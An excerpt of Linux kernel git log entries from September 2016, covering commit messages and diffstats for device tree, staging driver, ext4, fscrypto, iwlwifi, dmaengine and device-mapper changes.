.../devicetree/bindings/perf/apm-xgene-pmu.txt | 112 +++++++++++++++++++++ 1 file changed, 112 insertions(+) commit fd3a628e3f2a04acb85b9169df1811627ba367f8 Author: Tai Nguyen Date: Fri Jul 15 10:38:02 2016 -0700 MAINTAINERS: Add entry for APM X-Gene SoC PMU driver This patch adds the MAINTAINERS entry for APM X-Gene SoC PMU driver. Signed-off-by: Tai Nguyen MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 39936ae1ab1dee28cc1479294bd76d16f3ea7792 Author: hotran Date: Mon Sep 12 11:23:25 2016 -0700 arm64: dts: apm: Add DT node for APM X-Gene 2 CPU clocks Add DT nodes to enable APM X-Gene 2 CPU clocks. [dhdang: changelog] Signed-off-by: Hoan Tran Signed-off-by: Duc Dang arch/arm64/boot/dts/apm/apm-shadowcat.dtsi | 56 ++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) commit c6d62be5ea1baac76a780979f30ce608ae37a4f3 Author: hotran Date: Thu Jul 21 15:37:33 2016 -0700 arm64: dts: apm: Add X-Gene SoC hwmon to device tree This patch adds DT node to enable hwmon driver for APM X-Gene SoC. Signed-off-by: Hoan Tran Acked-by: Guenter Roeck arch/arm64/boot/dts/apm/apm-shadowcat.dtsi | 5 +++++ arch/arm64/boot/dts/apm/apm-storm.dtsi | 5 +++++ 2 files changed, 10 insertions(+) commit 7c7b08bfbd5a3361985ce466842986f8d847f218 Author: Duc Dang Date: Thu Sep 1 22:52:19 2016 -0700 arm64: dts: apm: Fix interrupt polarity for X-Gene PCIe legacy interrupts On X-Gene v1 and X-Gene v2, PCIe legacy interrupt should be configured as level-active high. Signed-off-by: Duc Dang arch/arm64/boot/dts/apm/apm-shadowcat.dtsi | 16 ++++++------ arch/arm64/boot/dts/apm/apm-storm.dtsi | 40 +++++++++++++++--------------- 2 files changed, 28 insertions(+), 28 deletions(-) commit d65b5d5a5cfcb891fe55e0999d7375f99cfbe166 Author: Duc Dang Date: Mon Aug 29 14:32:32 2016 -0700 arm64: dts: apm: Add APM X-Gene v2 SoC PMU DTS entries This patch adds APM X-Gene v2 SoC PMU DTS entries. Signed-off-by: Duc Dang Cc: Tai Nguyen arch/arm64/boot/dts/apm/apm-shadowcat.dtsi | 58 ++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) commit 0317cd525d6bf70d6b222fad7f19bfc01368819d Author: Tai Nguyen Date: Fri Jul 15 10:38:05 2016 -0700 arm64: dts: apm: Add APM X-Gene SoC PMU DTS entries This patch adds APM X-Gene SoC PMU DTS entries. Signed-off-by: Tai Nguyen arch/arm64/boot/dts/apm/apm-storm.dtsi | 58 ++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) commit e52f21494f48b437839ae59f8ce8d9b60eca01cf Author: Sandhya Bankar Date: Thu Sep 15 13:52:51 2016 +0530 Staging: wlan-ng: Use !x instead of x == NULL. Use !x instead of x == NULL. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f8b30859856a964ed76934a8a6d480d0b52b252c Author: Asbjoern Sloth Toennesen Date: Tue Sep 13 19:12:36 2016 +0000 staging: octeon: use defines instead of magic numbers The ugly magic number 65392 is waiting for CVMX_IPD_MAX_MTU to appear in the mips tree. Signed-off-by: Asbjoern Sloth Toennesen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 8f39850dffa9cba0f6920ff907710bcddc7f2a26 Author: Eric Biggers Date: Thu Sep 15 13:32:11 2016 -0400 fscrypto: improved validation when loading inode encryption metadata - Validate fscrypt_context.format and fscrypt_context.flags. If unrecognized values are set, then the kernel may not know how to interpret the encrypted file, so it should fail the operation. - Validate that AES_256_XTS is used for contents and that AES_256_CTS is used for filenames. It was previously possible for the kernel to accept these reversed, though it would have taken manual editing of the block device. This was not intended. - Fail cleanly rather than BUG()-ing if a file has an unexpected type. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/crypto/keyinfo.c | 68 ++++++++++++++++++++++++++++++++---------------- include/linux/fscrypto.h | 24 ----------------- 2 files changed, 45 insertions(+), 47 deletions(-) commit 08441a938b173ff7001e2ea588bd0c26778776fd Author: Baoyou Xie Date: Thu Sep 15 23:45:17 2016 +0800 staging: lustre: clean function declarations in class_obd.c up We get 2 warnings when building kernel with W=1: drivers/staging/lustre/lustre/obdclass/linux/linux-module.c:413:5: warning: no previous prototype for 'class_procfs_init' [-Wmissing-prototypes] drivers/staging/lustre/lustre/obdclass/linux/linux-module.c:449:5: warning: no previous prototype for 'class_procfs_clean' [-Wmissing-prototypes] In fact, both functions are declared in drivers/staging/lustre/lustre/obdclass/class_obd.c,but should be declared in a header file, thus can be recognized in other file. So this patch moves the declarations into drivers/staging/lustre/lustre/include/obd_class.h. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd_class.h | 2 ++ drivers/staging/lustre/lustre/obdclass/class_obd.c | 3 --- 2 files changed, 2 insertions(+), 3 deletions(-) commit c03eb7541065868691443e1d853a780969bad608 Author: Rehas Sachdeva Date: Thu Sep 15 18:23:18 2016 +0530 staging: lustre: Fix indentation Fixes checkpatch.pl warning: Statements should start on a tabstop. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/file.c | 2 +- drivers/staging/lustre/lustre/llite/rw.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 994b48775ab8cda03fcc92bf653b06a63b439658 Author: Rehas Sachdeva Date: Thu Sep 15 18:22:40 2016 +0530 staging: lustre: Remove unnecessary 'return' Remove unnecessary void return at the end of a function. Issue detected by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/rw.c | 2 -- 1 file changed, 2 deletions(-) commit 02c041c157a397e40f44345d689fbd13c3585262 Author: Rehas Sachdeva Date: Thu Sep 15 18:22:10 2016 +0530 staging: lustre: Change 'seq_printf' to 'seq_puts' Fixes checkpatch.pl warning: Prefer seq_puts to seq_printf. This can be done as both have same type of first two arguments in their function definition. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/lproc_llite.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 483ace0605a8e718e35db6d2219b9a7d08c8c28b Author: Rehas Sachdeva Date: Thu Sep 15 18:21:42 2016 +0530 staging: lustre: Change 'unsigned' to 'unsigned int' Fixes checkpatch.pl warning: WARNING: Prefer 'unsigned int' to bare use of 'unsigned' Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_resource.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit e9d6122c198df78a8b6b730bd5901c80a9ae3e65 Author: Rehas Sachdeva Date: Thu Sep 15 18:21:04 2016 +0530 staging: lustre: Fix block comment style Fixes checkpatch.pl warning: WARNING: Block comments use a trailing */ on a separate line. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit b9aabfcc988c81ce442e61df7b84c50098b13083 Author: Rehas Sachdeva Date: Thu Sep 15 18:20:31 2016 +0530 staging: lustre: Add space b/w concatenated strings Fixes checkpatch.pl warning: CHECK: Concatenated strings should use spaces between elements Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/fid/fid_request.c | 8 ++++---- drivers/staging/lustre/lustre/fid/lproc_fid.c | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) commit 8f5334651a14661f945c2d440479bb9bfa6c2b49 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:13 2016 +0200 staging: most: hdm-dim2: monitor atx DBR space This patch implements a workaround for a DIM2 issue where the device macro, in case the asynchronous channel sends data (to MOST), sporadically duplicates the synchronous blocks with a size of half the synchronous DBR buffer. The patch monitors the size of the unused asynchronous Tx DBR memory (that includes the ping and pong sizes) to prevent the potential DBR overflow for the asynchronous Tx DBR buffer. The patched DIM2 HDM expects that the platform driver delivers the 2nd platform irq (index 1) as the mlb_int of the DIM2 macro. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 85 +++++++++++++++++++++++++++++++- drivers/staging/most/hdm-dim2/dim2_hal.h | 4 ++ drivers/staging/most/hdm-dim2/dim2_hdm.c | 35 +++++++++++++ drivers/staging/most/hdm-dim2/dim2_reg.h | 3 ++ 4 files changed, 125 insertions(+), 2 deletions(-) commit a0adbc7a81ec5430989bb2323a58c7981215077d Author: Andrey Shvetsov Date: Thu Sep 15 16:19:12 2016 +0200 staging: most: hdm-dim2: fix dim2-ip interrupt names This patch fixes the DIM2 IP interrupt names. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3512ede28e6e65684504e1e83c5de1731da6ac36 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:11 2016 +0200 staging: most: hdm-dim2: remove clearance of pending MLB interrupt This patch removes unnecessary clearing of a pending mlb_int from the service routine for ahb interrupt. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 4 ---- 1 file changed, 4 deletions(-) commit cad29b4b201f97725fd41139bdd70330a5d53948 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:10 2016 +0200 staging: most: hdm-dim2: delete error code from logging message This patch removes the logging of the returned error code of function dim2_probe as it is done by the calling function. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 055f1d12da0b56c878da9ab48c922df3e8905973 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:09 2016 +0200 staging: most: hdm-dim2: rename function This patch renames the function dim_service_irq. It subsitutes the name with the more suitable identifier dim_service_ahb_int_irq. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 2 +- drivers/staging/most/hdm-dim2/dim2_hal.h | 2 +- drivers/staging/most/hdm-dim2/dim2_hdm.c | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 52076fe26c2873e4d36acc10172216b2223bbb57 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:08 2016 +0200 staging: most: hdm-dim2: remove structure member This patch removes the member irq_ahb0 of the structure dim2_hdm, since its job is suitably done by a simple auto variable. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit a85ee2aa99684321274b85052a9d5b692d814296 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:07 2016 +0200 staging: most: hdm-dim2: round up DBR memory for async/ctrl As the DBR memory is allocated in units of DBR_BLOCK_SIZE, it is more efficient to configure the DIM2 IP to use whole blocks of the DBR memory. This patch ceils the DBR memory size used by the DIM2 IP for async/ctrl channels. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 6631c5c9b0c3698f3977caf5694e8ece6a36f48b Author: Andrey Shvetsov Date: Thu Sep 15 16:19:06 2016 +0200 staging: most: hdm-dim2: double size of DBR buffer This patch increases the size of the asynchronous and control DBR buffers in the Tx path to twice the max. message size. This patch is needed to increase the throughput for big messages. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 9b762fdfe26e798897f2a84a426df0fdee548dae Author: Andrey Shvetsov Date: Thu Sep 15 16:19:05 2016 +0200 staging: most: hdm-dim2: relocate variable declarations This patch eliminates nested variable declarations by putting them at the beginning of the function in order to flatten the code. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hal.c | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) commit 424a679997e1df1b56cf4075c41559c4508a0565 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:04 2016 +0200 staging: most: hdm-dim2: remove macro ENABLE_HDM_TEST This patch removes the macro ENABLE_HDM_TEST, which was needed while doing DIM2-HAL simulations. But these are not conducted anymore. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 35 -------------------------------- 1 file changed, 35 deletions(-) commit 55f142ca5f2d0fbb1e3c438f4a5aa86b339437d0 Author: Andrey Shvetsov Date: Thu Sep 15 16:19:03 2016 +0200 staging: most: hdm-dim2: fix channel configuration The DIM2 HDM checks the parameters passed to the function configure_channel() and adapts the buffer sizes of the configuration according to the hardware limitation. This patch is needed to init the HAL layer with the correct values. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_hdm.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit dcce7a46c6f28f41447272fb44348ead8f584573 Author: Eric Biggers Date: Thu Sep 15 13:13:13 2016 -0400 ext4: fix memory leak when symlink decryption fails This bug was introduced in v4.8-rc1. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org fs/ext4/symlink.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 5f6f5e08b1fba96fab0f7fa14025f956d25067ff Author: Archit Taneja Date: Tue Sep 13 20:51:35 2016 +0530 drm/msm/hdmi: Clean up HDMI gpio DT bindings Make the following changes in the HDMI gpio bindings: - Use "-gpios" as the suffix for all the gpio names - Move all the gpios to optional, since there are platforms that use none of them. - The HPD gpio is a standard one, remove the "qcom,hdmi-tx-" prefix from it. - Remove the HDMI DDC clk/data gpios. They are just leftovers of an old way to configure pinctrl properties. - Add a missing lpm gpio used on some platforms. Make the necessary changes in the driver to incorporate these changes. There hasn't been any upstream DT that uses the HDMI bindings, so it's okay to change and move around these properties. Cc: Rob Herring Cc: devicetree@vger.kernel.org Signed-off-by: Archit Taneja Acked-by: Rob Herring Signed-off-by: Rob Clark .../devicetree/bindings/display/msm/hdmi.txt | 9 ++++----- drivers/gpu/drm/msm/hdmi/hdmi.c | 21 +++++++++++++++++++-- 2 files changed, 23 insertions(+), 7 deletions(-) commit 13ce5b6e38b7e487d3b900520f8d608122730095 Author: Archit Taneja Date: Tue Sep 13 20:51:34 2016 +0530 drm/msm/mdp4: Fix issue with LCDC/LVDS port parsing The LVDS port is the first in the list of the output ports in MDP4. The driver assumed that if the port and its corresponding endpoint is defined, then there should be a panel node too. This isn't necessary since boards may not really use a LVDS panel. Don't fail if there isn't a panel node available. While we're at it, use of_graph_get_endpoint_by_regs instead of of_graph_get_next_endpoint to make it more explicit that the LVDS output is at port 0. Tested-by: John Stultz Signed-off-by: Archit Taneja Signed-off-by: Rob Clark drivers/gpu/drm/msm/mdp/mdp4/mdp4_kms.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit db06f04dafa1c1d94db1ef162addaff778f6457a Author: Sara Sharon Date: Tue Jul 5 17:37:58 2016 +0300 iwlwifi: mvm: support new shared memory config API In a000 devices we have 15 fifos, so in the shared memory config the number of tx fifos in the array was changed accordingly. As it is in the middle of the struct, the parsing code needs to be duplicated. To minimize the duplication, do not save variables we never actually use. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw-api.h | 22 +++++- drivers/net/wireless/intel/iwlwifi/mvm/fw-dbg.c | 2 +- drivers/net/wireless/intel/iwlwifi/mvm/fw.c | 96 ++++++++++++++----------- drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 9 +-- 4 files changed, 77 insertions(+), 52 deletions(-) commit 585a26274221e1cd7e0c06e0f96fbf4a7269187b Author: Sara Sharon Date: Wed Jul 13 16:53:36 2016 +0300 iwlwifi: mvm: remove dump of locked registers Firmware may lock those registers for access. This results in 9000 devices with a bus stall and an endless loop of 0x5a5a5a. Don't dump those registers. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw-dbg.c | 2 -- 1 file changed, 2 deletions(-) commit 3cd1980b0cdf66443a610b62e3a630e44eac4e45 Author: Sara Sharon Date: Thu Jun 23 16:31:40 2016 +0300 iwlwifi: pcie: introduce new tfd and tb formats New hardware supports bigger TFDs and TBs. Introduce the new formats and adjust defines and code relying on old format. Changing the actual TFD allocation is trickier and deferred to the next patch. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-fh.h | 50 +++++++++++++++++----- drivers/net/wireless/intel/iwlwifi/iwl-trans.c | 1 + drivers/net/wireless/intel/iwlwifi/iwl-trans.h | 4 -- drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 4 +- drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 16 ++++--- drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 20 ++++----- 6 files changed, 64 insertions(+), 31 deletions(-) commit c0ed8aa4d1babfe173d01ce6169c237ad9b0c462 Author: kbuild test robot Date: Mon Jul 11 05:01:12 2016 +0800 iwlwifi: fix semicolon.cocci warnings drivers/net/wireless/intel/iwlwifi/iwl-io.c:243:2-3: Unneeded semicolon Remove unneeded semicolon. Generated by: scripts/coccinelle/misc/semicolon.cocci CC: Sara Sharon Signed-off-by: Fengguang Wu Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-io.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 15985fba2e93872f3070af63ae9b0d0f42b2c7ea Author: Liad Kaufman Date: Sun Jun 26 14:45:12 2016 +0300 iwlwifi: mvm: don't free queue after delba in dqa In DQA mode, a delBA might free the queue although it shouldn't. Fix that. Fixes: cf941e174ee2 ("iwlwifi: mvm: support dqa-mode agg on non-shared queue") Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit ca3b9c6b6d4db9a8ba5fc8b95664e75468c59f9f Author: Sara Sharon Date: Thu Jun 30 16:14:02 2016 +0300 iwlwifi: mvm: call a different txq_enable function Since the SCD_QUEUE_CFG command was introduced the driver calls iwl_trans_txq_enable_cfg() with a NULL for scd_cfg parameter. This makes the transport avoid writing to the SCD pointers, since it can cause races with firmware, which is also accessing the registers. The transport only updates the write pointer in that case. Fix a wrong call to iwl_trans_txq_enable() which caused a scd_cfg parameter to be sent to transport, resulting with an access to SCD registers. Fixes: 58f2cc57dc6a ("iwlwifi: mvm: support dqa-mode scd queue redirection") Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit f0c9fd5458bacf7b12a9a579a727dc740cbe047e Author: Geliang Tang Date: Thu Sep 15 12:02:32 2016 -0400 jbd2: move more common code into journal_init_common() There are some repetitive code in jbd2_journal_init_dev() and jbd2_journal_init_inode(). So this patch moves the common code into journal_init_common() helper to simplify the code. And fix the coding style warnings reported by checkpatch.pl by the way. Signed-off-by: Geliang Tang Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara fs/jbd2/journal.c | 131 +++++++++++++++++++++--------------------------------- 1 file changed, 50 insertions(+), 81 deletions(-) commit be32197cd6b8c37425ca954e719d236e6117a8ee Author: Fabian Frederick Date: Thu Sep 15 11:58:47 2016 -0400 ext4: remove unused definition for MAX_32_NUM MAX_32_NUM isn't used in ext4 Signed-off-by: Fabian Frederick Signed-off-by: Theodore Ts'o fs/ext4/ioctl.c | 2 -- 1 file changed, 2 deletions(-) commit 518eaa6387df796d54e065e04502e800cae1df80 Author: Fabian Frederick Date: Thu Sep 15 11:55:01 2016 -0400 ext4: create EXT4_MAX_BLOCKS() macro Create a macro to calculate length + offset -> maximum blocks This adds more readability. Signed-off-by: Fabian Frederick Signed-off-by: Theodore Ts'o fs/ext4/ext4.h | 3 +++ fs/ext4/extents.c | 15 +++------------ fs/ext4/file.c | 3 +-- 3 files changed, 7 insertions(+), 14 deletions(-) commit c3fe493ccdb1f443c30155150391835004014c6a Author: Fabian Frederick Date: Thu Sep 15 11:52:07 2016 -0400 ext4: remove unneeded test in ext4_alloc_file_blocks() ext4_alloc_file_blocks() is called from ext4_zero_range() and ext4_fallocate() both already testing EXT4_INODE_EXTENTS We can call ext_depth(inode) unconditionnally. [ Added BUG_ON check to make sure ext4_alloc_file_blocks() won't get called for a indirect-mapped inode in the future. -- tytso ] Signed-off-by: Fabian Frederick Signed-off-by: Theodore Ts'o fs/ext4/extents.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit d86467249d639f3915ee6379aef5e7c1bdd9f74b Author: Eugeniy Paltsev Date: Wed Sep 14 20:40:38 2016 +0300 dmaengine: dmatest: Restore "memcpy" as default mode Commit 0d4cb44da6ca0e8 ("dmaengine: dmatest: Add support for scatter-gather DMA mode") changes default "dmatest" behavior by changing default mode from "memcpy" to "scatter-gather". Now "memcpy" gets back as default mode. Signed-off-by: Eugeniy Paltsev Signed-off-by: Vinod Koul drivers/dma/dmatest.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 71d0bc65ba089e8e769cddad66dae8cb4c49a0d4 Author: Andy Shevchenko Date: Tue Aug 23 16:09:40 2016 +0300 dmaengine: hsu: refactor hsu_dma_do_irq() to return int Since we have nice macro IRQ_RETVAL() we would use it to convert a flag of handled interrupt from int to irqreturn_t. The rationale of doing this is: a) hence we implicitly mark hsu_dma_do_irq() as an auxiliary function that can't be used as interrupt handler directly, and b) to be in align with serial driver which is using serial8250_handle_irq() that returns plain int by design. Signed-off-by: Andy Shevchenko Acked-by: Greg Kroah-Hartman Signed-off-by: Vinod Koul drivers/dma/hsu/hsu.c | 9 ++++----- drivers/dma/hsu/pci.c | 6 +++--- drivers/tty/serial/8250/8250_mid.c | 8 ++++---- include/linux/dma/hsu.h | 9 ++++----- 4 files changed, 15 insertions(+), 17 deletions(-) commit 77ff7a706f014a56d38f07acf220f381a8fe0fd8 Author: Stefan Roese Date: Thu Sep 15 07:37:31 2016 +0200 dmaengine: mv_xor: Add support for IO (PCIe) src/dst areas To enable the access to a specific area, the MVEBU XOR controllers needs to have this area enabled / mapped via an address window. Right now, only the DRAM memory area is enabled via such memory windows. So using this driver to DMA to / from a e.g. PCIe memory region is currently not supported. This patch now adds support for such PCIe / IO regions by checking if the src / dst address is located in an IO memory area in contrast to being located in DRAM. This is done by using the newly introduced MBus function mvebu_mbus_get_io_win_info(). If the src / dst address is located in such an IO area, a new address window is created in the XOR DMA controller. Enabling the controller to access this area. Signed-off-by: Stefan Roese Cc: Gregory CLEMENT Cc: Thomas Petazzoni Cc: Marcin Wojtas Cc: Arnd Bergmann Cc: Andrew Lunn Cc: Vinod Koul Signed-off-by: Vinod Koul drivers/dma/mv_xor.c | 95 +++++++++++++++++++++++++++++++++++++++++++++++++++- drivers/dma/mv_xor.h | 7 ++++ 2 files changed, 101 insertions(+), 1 deletion(-) commit 434cec62a6d73b8c8080cd992bc97a564fdd5a5a Author: Stefan Roese Date: Thu Sep 15 07:37:30 2016 +0200 bus: mvebu-mbus: Provide stub function for mvebu_mbus_get_io_win_info() This patch provides a stub function for mvebu_mbus_get_io_win_info(), which will be used for all non-Orion (ARM32 MVEBU) platforms for compile test coverage. On such platforms this function will return an error so that drivers might detect a potential problem. Signed-off-by: Stefan Roese Acked-by: Gregory CLEMENT Cc: Thomas Petazzoni Cc: Marcin Wojtas Cc: Arnd Bergmann Cc: Andrew Lunn Cc: Vinod Koul Signed-off-by: Vinod Koul include/linux/mbus.h | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) commit edf15aa180d7b98fe16bd3eda42f9dd0e60dee20 Author: Fabian Frederick Date: Thu Sep 15 11:39:52 2016 -0400 ext4: fix memory leak in ext4_insert_range() Running xfstests generic/013 with kmemleak gives the following: unreferenced object 0xffff8801d3d27de0 (size 96): comm "fsstress", pid 4941, jiffies 4294860168 (age 53.485s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: [] kmemleak_alloc+0x23/0x40 [] __kmalloc+0xf5/0x1d0 [] ext4_find_extent+0x1ec/0x2f0 [] ext4_insert_range+0x34c/0x4a0 [] ext4_fallocate+0x4e2/0x8b0 [] vfs_fallocate+0x134/0x210 [] SyS_fallocate+0x3f/0x60 [] entry_SYSCALL_64_fastpath+0x13/0x8f [] 0xffffffffffffffff Problem seems mitigated by dropping refs and freeing path when there's no path[depth].p_ext Cc: stable@vger.kernel.org Signed-off-by: Fabian Frederick Signed-off-by: Theodore Ts'o fs/ext4/extents.c | 3 +++ 1 file changed, 3 insertions(+) commit 4e800c0359d9a53e6bf0ab216954971b2515247f Author: wangguang Date: Thu Sep 15 11:32:46 2016 -0400 ext4: bugfix for mmaped pages in mpage_release_unused_pages() Pages clear buffers after ext4 delayed block allocation failed, However, it does not clean its pte_dirty flag. if the pages unmap ,in cording to the pte_dirty , unmap_page_range may try to call __set_page_dirty, which may lead to the bugon at mpage_prepare_extent_to_map:head = page_buffers(page);. This patch just call clear_page_dirty_for_io to clean pte_dirty at mpage_release_unused_pages for pages mmaped. Steps to reproduce the bug: (1) mmap a file in ext4 addr = (char *)mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); memset(addr, 'i', 4096); (2) return EIO at ext4_writepages->mpage_map_and_submit_extent->mpage_map_one_extent which causes this log message to be print: ext4_msg(sb, KERN_CRIT, "Delayed block allocation failed for " "inode %lu at logical offset %llu with" " max blocks %u with error %d", inode->i_ino, (unsigned long long)map->m_lblk, (unsigned)map->m_len, -err); (3)Unmap the addr cause warning at __set_page_dirty:WARN_ON_ONCE(warn && !PageUptodate(page)); (4) wait for a minute,then bugon happen. Cc: stable@vger.kernel.org Signed-off-by: wangguang Signed-off-by: Theodore Ts'o fs/ext4/inode.c | 2 ++ 1 file changed, 2 insertions(+) commit b88efd43f900d608560211a18a38d450f8192948 Author: Mike Snitzer Date: Fri Sep 9 19:26:19 2016 -0400 dm mpath: delay the requeue of blk-mq requests while all paths down Return DM_MAPIO_DELAY_REQUEUE from .clone_and_map_rq. Also, return false from .busy, if all paths are down, so that blk-mq requests get mapped via .clone_and_map_rq -- which results in DM_MAPIO_DELAY_REQUEUE being returned to dm-rq. This change allows for a noticeable reduction in cpu utilization (reduced kworker load) while all paths are down, e.g.: system CPU idleness (as measured by fio's --idle-prof=system): before: system: 86.58% after: system: 98.60% Signed-off-by: Mike Snitzer Reviewed-by: Hannes Reinecke drivers/md/dm-mpath.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit 7e48c768f44056a06bca596577c37f7721b53f0c Author: Mike Snitzer Date: Wed Sep 14 10:47:03 2016 -0400 dm mpath: use dm_mq_kick_requeue_list() When reinstating a path the blk-mq request_queue's requeue_list should get kicked. It makes sense to kick the requeue_list as part of the existing hook (previously only used by bio-based support). Rename process_queued_bios_list to process_queued_io_list. Signed-off-by: Mike Snitzer Reviewed-by: Hannes Reinecke drivers/md/dm-mpath.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e0c107526960d1348cfe21f12bcfb3348fd7e8ab Author: Mike Snitzer Date: Wed Sep 14 10:36:39 2016 -0400 dm rq: introduce dm_mq_kick_requeue_list() Make it possible for a request-based target to kick the DM device's blk-mq request_queue's requeue_list. Signed-off-by: Mike Snitzer Reviewed-by: Hannes Reinecke drivers/md/dm-rq.c | 17 +++++++++++++---- drivers/md/dm-rq.h | 2 ++ 2 files changed, 15 insertions(+), 4 deletions(-) commit fbc39b4ca3bed38c6d62c658af2157d2ec9efa03 Author: Mike Snitzer Date: Tue Sep 13 12:16:14 2016 -0400 dm rq: reduce arguments passed to map_request() and dm_requeue_original_request() Signed-off-by: Mike Snitzer Reviewed-by: Hannes Reinecke drivers/md/dm-rq.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 74b69e5246d13840963b7b23e21dbab541cb26d2 Author: Heiner Kallweit Date: Wed Sep 14 20:55:43 2016 +0200 leds: gpio: fix and simplify error handling in gpio_leds_create Simplify the error handling and add a missing call to fwnode_handle_put when checking led.name. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit bc2c0dd85a0a31505ca2f92bef891ddac9126725 Author: Heiner Kallweit 